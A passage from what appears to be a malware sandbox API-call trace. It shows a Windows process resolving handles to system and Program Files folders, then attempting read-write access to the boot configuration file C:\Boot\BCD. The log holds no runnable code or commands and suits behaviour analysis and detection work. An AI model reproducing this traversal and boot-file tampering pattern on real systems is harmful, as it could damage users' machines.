lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.556] CloseHandle (hObject=0x128) returned 1 [0146.556] GetFileType (hFile=0xb8) returned 0x1 [0146.556] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0146.557] CloseHandle (hObject=0xb8) returned 1 [0146.557] GetFileType (hFile=0x128) returned 0x1 [0146.557] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.557] CloseHandle (hObject=0x128) returned 1 [0146.558] GetFileType (hFile=0xb8) returned 0x1 [0146.558] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Sync Framework") returned 0x2d [0146.558] CloseHandle (hObject=0xb8) returned 1 [0146.558] GetFileType (hFile=0x128) returned 0x1 [0146.558] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.559] CloseHandle (hObject=0x128) returned 1 [0146.559] GetFileType (hFile=0xb8) returned 0x1 [0146.559] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0146.559] CloseHandle (hObject=0xb8) returned 1 [0146.560] GetFileType (hFile=0x128) returned 0x1 [0146.560] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.560] CloseHandle (hObject=0x128) returned 1 [0146.560] GetFileType (hFile=0xb8) returned 0x1 [0146.560] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0146.561] CloseHandle (hObject=0xb8) returned 1 [0146.561] GetFileType (hFile=0x128) returned 0x1 [0146.561] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.562] CloseHandle (hObject=0x128) returned 1 [0146.562] GetFileType (hFile=0xb8) returned 0x1 [0146.562] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0146.562] CloseHandle (hObject=0xb8) returned 1 [0146.562] GetFileType (hFile=0x128) returned 0x1 [0146.562] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.563] CloseHandle (hObject=0x128) returned 1 [0146.563] GetFileType (hFile=0xb8) returned 0x1 [0146.563] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0146.564] CloseHandle (hObject=0xb8) returned 1 [0146.564] GetFileType (hFile=0x128) returned 0x1 [0146.564] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.564] CloseHandle (hObject=0x128) returned 1 [0146.564] GetFileType (hFile=0xb8) returned 0x1 [0146.564] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0146.565] CloseHandle (hObject=0xb8) returned 1 [0146.565] GetFileType (hFile=0x128) returned 0x1 [0146.565] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.566] CloseHandle (hObject=0x128) returned 1 [0146.566] GetFileType (hFile=0xb8) returned 0x1 [0146.566] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Mail") returned 0x21 [0146.566] CloseHandle (hObject=0xb8) returned 1 [0146.566] GetFileType (hFile=0x128) returned 0x1 [0146.566] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.567] CloseHandle (hObject=0x128) returned 1 [0146.567] GetFileType (hFile=0xb8) returned 0x1 [0146.567] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows NT") returned 0x1f [0146.568] CloseHandle (hObject=0xb8) returned 1 [0146.568] GetFileType (hFile=0x128) returned 0x1 [0146.568] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.568] CloseHandle (hObject=0x128) returned 1 [0146.568] GetFileType (hFile=0xb8) returned 0x1 [0146.568] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0146.569] CloseHandle (hObject=0xb8) returned 1 [0146.569] GetFileType (hFile=0x128) returned 0x1 [0146.569] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.570] CloseHandle (hObject=0x128) returned 1 [0146.570] GetFileType (hFile=0xb8) returned 0x1 [0146.570] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0146.572] CloseHandle (hObject=0xb8) returned 1 [0146.572] GetFileType (hFile=0x128) returned 0x1 [0146.572] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.573] CloseHandle (hObject=0x128) returned 1 [0146.573] GetFileType (hFile=0xb8) returned 0x1 [0146.573] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0146.573] CloseHandle (hObject=0xb8) returned 1 [0146.573] GetFileType (hFile=0x128) returned 0x1 [0146.573] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.574] CloseHandle (hObject=0x128) returned 1 [0146.574] GetFileType (hFile=0xb8) returned 0x1 [0146.574] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0146.575] CloseHandle (hObject=0xb8) returned 1 [0146.575] GetFileType (hFile=0x128) returned 0x1 [0146.575] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.575] CloseHandle (hObject=0x128) returned 1 [0146.576] GetFileType (hFile=0xb8) returned 0x1 [0146.576] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0146.576] CloseHandle (hObject=0xb8) returned 1 [0146.576] GetFileType (hFile=0x128) returned 0x1 [0146.576] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.577] CloseHandle (hObject=0x128) returned 1 [0146.577] GetFileType (hFile=0xb8) returned 0x1 [0146.577] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0146.577] CloseHandle (hObject=0xb8) returned 1 [0146.578] GetFileType (hFile=0x128) returned 0x1 [0146.578] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.578] CloseHandle (hObject=0x128) returned 1 [0146.578] GetFileType (hFile=0xb8) returned 0x1 [0146.578] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0146.579] CloseHandle (hObject=0xb8) returned 1 [0146.579] GetFileType (hFile=0x128) returned 0x1 [0146.579] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.580] CloseHandle (hObject=0x128) returned 1 [0146.580] GetFileType (hFile=0xb8) returned 0x1 [0146.580] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0146.580] CloseHandle (hObject=0xb8) returned 1 [0146.580] GetFileType (hFile=0x128) returned 0x1 [0146.580] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.581] CloseHandle (hObject=0x128) returned 1 [0146.581] GetFileType (hFile=0xb8) returned 0x1 [0146.581] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0146.581] CloseHandle (hObject=0xb8) returned 1 [0146.582] GetFileType (hFile=0x128) returned 0x1 [0146.582] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.582] CloseHandle (hObject=0x128) returned 1 [0146.582] GetFileType (hFile=0xb8) returned 0x1 [0146.582] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Google") returned 0x21 [0146.583] CloseHandle (hObject=0xb8) returned 1 [0146.583] GetFileType (hFile=0x128) returned 0x1 [0146.583] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.584] CloseHandle (hObject=0x128) returned 1 [0146.584] GetFileType (hFile=0xb8) returned 0x1 [0146.584] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0146.584] CloseHandle (hObject=0xb8) returned 1 [0146.585] GetFileType (hFile=0x128) returned 0x1 [0146.585] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.585] CloseHandle (hObject=0x128) returned 1 [0146.585] GetFileType (hFile=0xb8) returned 0x1 [0146.585] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0146.586] CloseHandle (hObject=0xb8) returned 1 [0146.586] GetFileType (hFile=0x128) returned 0x1 [0146.586] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.587] CloseHandle (hObject=0x128) returned 1 [0146.587] GetFileType (hFile=0xb8) returned 0x1 [0146.587] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0146.587] CloseHandle (hObject=0xb8) returned 1 [0146.587] GetFileType (hFile=0x128) returned 0x1 [0146.588] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.588] CloseHandle (hObject=0x128) returned 1 [0146.588] GetFileType (hFile=0xb8) returned 0x1 [0146.588] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar") returned 0x2a [0146.589] CloseHandle (hObject=0xb8) returned 1 [0146.589] GetFileType (hFile=0x128) returned 0x1 [0146.589] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.590] CloseHandle (hObject=0x128) returned 1 [0146.590] GetFileType (hFile=0xb8) returned 0x1 [0146.590] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows NT") returned 0x25 [0146.590] CloseHandle (hObject=0xb8) returned 1 [0146.590] GetFileType (hFile=0x128) returned 0x1 [0146.590] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.591] CloseHandle (hObject=0x128) returned 1 [0146.591] GetFileType (hFile=0xb8) returned 0x1 [0146.591] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0146.591] CloseHandle (hObject=0xb8) returned 1 [0146.592] GetFileType (hFile=0x128) returned 0x1 [0146.592] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.592] CloseHandle (hObject=0x128) returned 1 [0146.592] GetFileType (hFile=0xb8) returned 0x1 [0146.592] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0146.593] CloseHandle (hObject=0xb8) returned 1 [0146.593] GetFileType (hFile=0x128) returned 0x1 [0146.593] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.594] CloseHandle (hObject=0x128) returned 1 [0146.594] GetFileType (hFile=0xb8) returned 0x1 [0146.594] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0146.594] CloseHandle (hObject=0xb8) returned 1 [0146.594] GetFileType (hFile=0x128) returned 0x1 [0146.594] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.595] CloseHandle (hObject=0x128) returned 1 [0146.595] GetFileType (hFile=0xb8) returned 0x1 [0146.595] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0146.595] CloseHandle (hObject=0xb8) returned 1 [0146.596] GetFileType (hFile=0x128) returned 0x1 [0146.596] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.596] CloseHandle (hObject=0x128) returned 1 [0146.596] GetFileType (hFile=0xb8) returned 0x1 [0146.596] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Internet Explorer") returned 0x26 [0146.597] CloseHandle (hObject=0xb8) returned 1 [0146.597] GetFileType (hFile=0x128) returned 0x1 [0146.597] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.597] CloseHandle (hObject=0x128) returned 1 [0146.598] GetFileType (hFile=0xb8) returned 0x1 [0146.598] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0146.598] CloseHandle (hObject=0xb8) returned 1 [0146.598] GetFileType (hFile=0x128) returned 0x1 [0146.598] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.599] CloseHandle (hObject=0x128) returned 1 [0146.599] GetFileType (hFile=0xb8) returned 0x1 [0146.599] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0146.599] CloseHandle (hObject=0xb8) returned 1 [0146.599] GetFileType (hFile=0x128) returned 0x1 [0146.599] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.600] CloseHandle (hObject=0x128) returned 1 [0146.600] GetFileType (hFile=0xb8) returned 0x1 [0146.600] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0146.601] CloseHandle (hObject=0xb8) returned 1 [0146.601] GetFileType (hFile=0x128) returned 0x1 [0146.601] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.602] CloseHandle (hObject=0x128) returned 1 [0146.602] GetFileType (hFile=0xb8) returned 0x1 [0146.602] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0146.602] CloseHandle (hObject=0xb8) returned 1 [0146.602] GetFileType (hFile=0x128) returned 0x1 [0146.602] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.603] CloseHandle (hObject=0x128) returned 1 [0146.603] GetFileType (hFile=0xb8) returned 0x1 [0146.603] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0146.604] CloseHandle (hObject=0xb8) returned 1 [0146.604] GetFileType (hFile=0x128) returned 0x1 [0146.604] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.604] CloseHandle (hObject=0x128) returned 1 [0146.605] GetFileType (hFile=0xb8) returned 0x1 [0146.605] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Media Player") returned 0x2f [0146.605] CloseHandle (hObject=0xb8) returned 1 [0146.605] GetFileType (hFile=0x128) returned 0x1 [0146.605] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.606] CloseHandle (hObject=0x128) returned 1 [0146.606] GetFileType (hFile=0xb8) returned 0x1 [0146.606] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0146.606] CloseHandle (hObject=0xb8) returned 1 [0146.606] GetFileType (hFile=0x128) returned 0x1 [0146.606] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.607] CloseHandle (hObject=0x128) returned 1 [0146.607] GetFileType (hFile=0xb8) returned 0x1 [0146.607] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0146.608] CloseHandle (hObject=0xb8) returned 1 [0146.608] GetFileType (hFile=0x128) returned 0x1 [0146.608] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.608] CloseHandle (hObject=0x128) returned 1 [0146.608] GetFileType (hFile=0xb8) returned 0x1 [0146.608] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0146.609] CloseHandle (hObject=0xb8) returned 1 [0146.609] GetFileType (hFile=0x128) returned 0x1 [0146.609] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.610] CloseHandle (hObject=0x128) returned 1 [0146.610] GetFileType (hFile=0xb8) returned 0x1 [0146.610] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0146.610] CloseHandle (hObject=0xb8) returned 1 [0146.611] GetFileType (hFile=0x128) returned 0x1 [0146.611] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.611] CloseHandle (hObject=0x128) returned 1 [0146.611] GetFileType (hFile=0xb8) returned 0x1 [0146.611] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0146.612] CloseHandle (hObject=0xb8) returned 1 [0146.612] GetFileType (hFile=0x128) returned 0x1 [0146.612] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.612] CloseHandle (hObject=0x128) returned 1 [0146.613] GetFileType (hFile=0xb8) returned 0x1 [0146.613] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0146.613] CloseHandle (hObject=0xb8) returned 1 [0146.613] GetFileType (hFile=0x128) returned 0x1 [0146.613] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.614] CloseHandle (hObject=0x128) returned 1 [0146.614] GetFileType (hFile=0xb8) returned 0x1 [0146.614] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0146.614] CloseHandle (hObject=0xb8) returned 1 [0146.614] GetFileType (hFile=0x128) returned 0x1 [0146.614] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0146.615] CloseHandle (hObject=0x128) returned 1 [0146.615] GetFileType (hFile=0xb8) returned 0x1 [0146.615] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0146.616] CloseHandle (hObject=0xb8) returned 1 [0146.616] GetFileType (hFile=0x128) returned 0x1 [0146.616] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0146.616] CloseHandle (hObject=0x128) returned 1 [0146.617] GetFileType (hFile=0xb8) returned 0x1 [0146.617] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0146.618] CloseHandle (hObject=0xb8) returned 1 [0146.618] GetFileType (hFile=0x128) returned 0x1 [0146.618] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x4dff250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0146.619] CloseHandle (hObject=0x128) returned 1 [0146.619] GetProcessHeap () returned 0x2ef0000 [0146.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x4e00020 | out: hHeap=0x2ef0000) returned 1 [0146.620] Sleep (dwMilliseconds=0xa) [0146.634] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.635] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0146.635] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, 